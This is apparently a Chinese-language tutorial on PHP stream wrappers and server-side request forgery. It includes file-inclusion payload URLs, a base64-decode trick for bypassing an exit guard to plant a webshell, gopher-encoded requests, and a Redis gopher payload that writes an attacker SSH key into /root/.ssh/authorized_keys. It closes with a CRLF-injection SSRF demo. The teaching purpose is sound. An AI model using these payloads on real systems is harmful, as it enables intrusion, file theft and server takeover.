协议和伪协议
协议
计算机场景下的协议常常指的是通信协议(⽹络协议)。⽹络协议是通信计算机双⽅必须共同遵从的⼀组约定。如怎么样建⽴连接、怎么样互相识别等。只有遵守这个约定,计算机之间才能相互通信交流。
伪协议
伪协议其实算是⼀个虚概念,就是并不是所有语⾔、所有产品共⽤的。往往是某个语⾔或者某个程序⾃身,为了解决⾃身内部的通信需求,⾃⾏编制的⼀个协议。
平常在⽇常称呼时,也常常有⼈将这两个概念混⽤,⽐如把所有的伪协议都称为协议,或者把所有的协议都称为伪协议。这个问题不⼤。
PHP的伪协议
官方手册
https://www.php.net/manual/zh/wrappers.php
PHP 带有很多内置 URL ⻛格的封装协议,可⽤于类似fopen()、 copy()、 file_exists()和 filesize()的⽂件系统函数。
除了这些封装协议,还能通过stream_wrapper_register()来注册⾃定义的封装协议。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流当然不是只有PHP支持这些,其中的部分还有一些语言也支持,比较通用的伪协议基本都支持
关于伪协议的利用Tricks
https://blog.csdn.net/cosmoslin/article/details/120695429
https://www.jianshu.com/p/8f1576b72420
| 伪协议 | 测试PHP版本 | allow_url_fopen | allow_url_include | 用法 |
|---|---|---|---|---|
| file:// | >=5.2 | off/on | off/on | ?file=file://D:/soft/phpStudy/WWW/phpcode.txt |
| php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
| php://input | >=5.2 | off/on | on | ?file=php://input [POST Data]=> |
| zip:// | >=5.2 | off/on | off/on | ?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt |
| compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2 |
| compress.zlib:// | >=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz |
| data:// | >=5.2 | on | on | ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
PHP伪协议代码审计通解
- 跟踪输⼊点
- 输⼊点进⼊到⽂件系统操作函数:
readfile()、file()、file_get_contents()这类函数 - 能够控制参数的开头
<?php
$input = $_GET['input'];
file_get_contents($input."xxx"); //可撸
file_get_contents("xxx".$input); //不可撸 ../../
?>像这种"xxx".$input开头一般情况下是不行的,但是如果存在更多参数的话可以尝试绕过
源码如下:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
echo $content;
?>当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。
然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
Base64 解码时,将 4 个 “Base64 编码字符”(每个字符对应 6 比特二进制)还原为 3 个 “原始字节”(每个字节对应 8 比特二进制)
当$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。
由于base64是4个字符一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。
验证过程如下:
$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOw==';
# PD9waHAgcGhwaW5mbygpOw== ===> <?php phpinfo();

SSRF是什么
SSRF(server-side request forgery) 为服务端请求伪造,是⼀种由攻击者形成服务器端发起的安全漏洞。
在⽐较早期的时候,⼤概是2010年到2017年中的时候,ssrf似乎还不是很盛⾏,当时往往只是利⽤这个ssrf去进⾏⼀个反向代理的作⽤,当时,ssrf更多还是本地资源的探测和访问、还有内⽹资源的探测和访问。
后面国外有师傅总结,ssrf往往其实是⽀持跨协议的(从http/https到其他协议),从这个时候开始,ssrf开始⼤放异彩,在各个不同的会议和场合都开始有⼈在谈论了。

SSRF和CSRF的区别
从两点看,攻击的对象是谁,帮助我们发起攻击的对象是谁
- ssrf攻击的是服务端或者服务端所在的内⽹资源,并且帮助我们发起攻击的是服务端。
- csrf攻击的是受害者的pc,帮助我们发起攻击的是访问⻚⾯的受害者的浏览器。
Curl支持的SSRF协议

curl在不同语⾔都有插件或者扩展,所以如果我们在代审的时候,遇到某个ssrf漏洞是调⽤类似curl的模块去进⾏访问的时候,以上协议都可撸。
demo代码:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

SSRF的利用方式
参考文章
https://book.hacktricks.wiki/zh/pentesting-web/ssrf-server-side-request-forgery/index.html
https://www.freebuf.com/vuls/262047.html
访问内部Web-http/https协议
这是最初级的ssrf利⽤了,通过ssrf去访问⼀个开启在127.0.0.1的web应⽤或者开放在内网的web应⽤。很可能开放在内⽹的服务没有进⾏⽐较强的鉴权,那么就可能有⼀些撸点。
另外常见的利用是,内⽹存在其他可以直接rce的web服务,可以先通过ssrf探测web指纹,来确定是否存在特定应⽤。
当然也有⼀种利⽤⽅式是,直接对内⽹的web服务直接盲打各种rce,也有许多常⻅案例。这种利⽤⽅式在早期的⽹络攻防环境乃⾄现在的⽹络安全环境中,仍然很适⽤。
内网端口扫描-http/https协议
这个与上⾯探测内网服务类似,利⽤的是⼀种差分攻击(差别分析攻击)。
就是有⼀个简单的理论基础"端⼝开放情况下与端⼝不开放情况下",得到返回的时间会差别很⼤。以此,可以⽤来判断端⼝是否开启。
SSRF转任意文件读取
可利用的协议如下:
file //⼏乎通⽤
ldap、zlib、phar、tar、rar //php
jar //java
jar war tar通过ssrf对本地⽂件进⾏读取,可以⽤来做代码审计、或者配置⽂件读取、密码读取,等等。
SSRF攻击内部应用
此处特指非Web的应用,比如Redis、MongoDB
利用协议:
- dict
- gopher
这两个协议也被称之为ssrf中的万⾦油协议了,因为他们都是封装协议(裸协议),可以⽤来封装其他协议。
Gopher协议的利用
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码但是gopher协议在各个语言中是有使用限制的。
| 语言 | 支持情况 |
|---|---|
| PHP | –wite-curlwrappers且php版本至少为5.3 |
| Java | 小于JDK1.7 |
| Curl | 低版本不支持 |
| Perl | 支持 |
| ASP.NET | 小于版本3 |
Gopher发送请求
在上面的内容中可以看到Gopher协议是被curl所支持的,所以说这个协议可以通过curl命令实现


Gopher发送GET请求
get型的http数据包如下
GET /testg.php?name=xxx HTTP/1.1
Host: localhostGET请求需要进行URL编码才可以正常解析,编码的时候在最后一定要补%0d%0a代表结束,回车换行也是%0d%0a。

curl gopher://localhost:4444/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
Gopher发送POST请求
这几部分必须包含在内

curl gopher://localhost:4444/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a

参考文章
https://cloud.tencent.com/developer/article/2091368
https://www.cnblogs.com/h0cksr/p/16189737.html
https://www.bilibili.com/opus/560221060057317873
攻击对象
⽬前国内⽹络上⽐较多的被⽤来搭配ssrf打的内部应⽤⼤致有:
- redis
- fastCGI/php-fpm
https://blog.csdn.net/u012206617/article/details/108941738
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk3QcSQWDzprYHpB0t+7/i8PCsow9F6DkJjVEgNkOvLKNLZ/BN1kt0HqWDLXbUwFScfav6mK4OfeCWZ7RBHUt2BpRA0p1nMPITx/SJ8/YeISGaa91/gwKFTPT1gaosOB4MMFVD8j7VmHskknSKsIiZmWmNHI16zGn7+6sHdJruA3cE7pPUWerkULWUw3jmVCwhdaO5RULUfI955hnio9IKwYieCenIiC8ZnnKJzXb7eB4zp34Jp3xZwbTAvpCx1/2I4LrNOqBnbm2Awdef9Yf484Q5K8Uj11kqKZYZhPKZq6913Hzx1y/krIe3qcBNxHM9W187W3xzRocdx/updNv huangniu@DESKTOP-758692A%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a配置SSH目录
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
这部分内容采用Redis协议格式,它的作用是设置配置文件的存储目录。在Redis协议里,*4 表示接下来有4个参数,$6 表示后面的字符串长度为6,即 config;$3 表示长度为3的字符串 set;$3 表示长度为3的字符串 dir;$11 表示长度为11的字符串 /root/.ssh/。整体指令意思是将配置文件的存储目录设置为 /root/.ssh/。
配置数据库文件名
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
同样是Redis协议格式,*4 表示有4个参数,该指令是把数据库文件名设置为 authorized_keys。在SSH服务中,authorized_keys 文件用于存储允许登录到该服务器的SSH公钥。
保存配置
*1
$4
save
*1 表示有1个参数,$4 表示长度为4的字符串 save,此命令用于保存当前的配置信息。
退出操作
*1
$4
quit
*1 表示有1个参数,$4 表示长度为4的字符串 quit,该命令用于退出当前的配置操作会话。
综上所述,这一系列指令的主要目的是将SSH公钥配置到服务器的 authorized_keys 文件中,并且指定该文件的存储目录为 /root/.ssh/,最后保存配置并退出操作。SSRF的检测绕过
参考文章
https://www.secpulse.com/archives/65832.html
SSRF代码审计案例
urllib库
在Python中,SSRF并不是很好利用的点
import urllib.request
url = "abcd://127.0.0.1:8080/test/?test=a"
url = "file:///etc/passwd"
info = urllib.request.urlopen(url)
print(info.read())
这⾥有两个协议我们可以利⽤,⼀个是file协议,可以⽤来读取本地⽂件。
⼀个是data协议,⽐较有趣⼀点,可以嵌⼊⼀些我们的任意输⼊,但是现在⽹络上似乎没有什么利⽤点。
request库
requests是⽬前⽤到的最多的http动作库,基本代替了urllib在⽇常产品中的份额。
同样可以通过动态调试发现他支持的协议

发现仅支持http/https协议。这就注定,他不能与php和java那样,⽅便的进⾏ssrf。
CVE-2019-9740造成SSRF
https://xz.aliyun.com/news/4755

from flask import Flask, request, render_template
import urllib
app = Flask(__name__)
@app.route('/')
def index(): # put application's code here
return "hello world"
@app.route('/info')
def info(): # put application's code here
host = request.args.get('host')
method = request.args.get('method')
if host is None:
return "please input host"
url = "http://" + host
if method is None:
method = "GET"
auth = request.args.get('auth')
if auth is None:
auth = ""
headers = {"Authorization": auth}
try:
req = urllib.request.Request(url=url, method=method.upper(), headers=headers)
# req = urllib.request.Request(url=url)
info = urllib.request.urlopen(req)
return info.read()
except urllib.error.URLError as e:
print(e)
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
http://139.199.77.35:5000/info?host=127.0.0.1:6379&method=*1%0d%0a$105%0d%0a&auth=auth%20xxxx1234567%0d%0aset%20xxxx%201234*1
$105
/testg.php?name=xxx HTTP/1.1
Host: 127.0.0.1:6379
Auth: auth xxxx1234567
set xxxx 1234
评论 (0)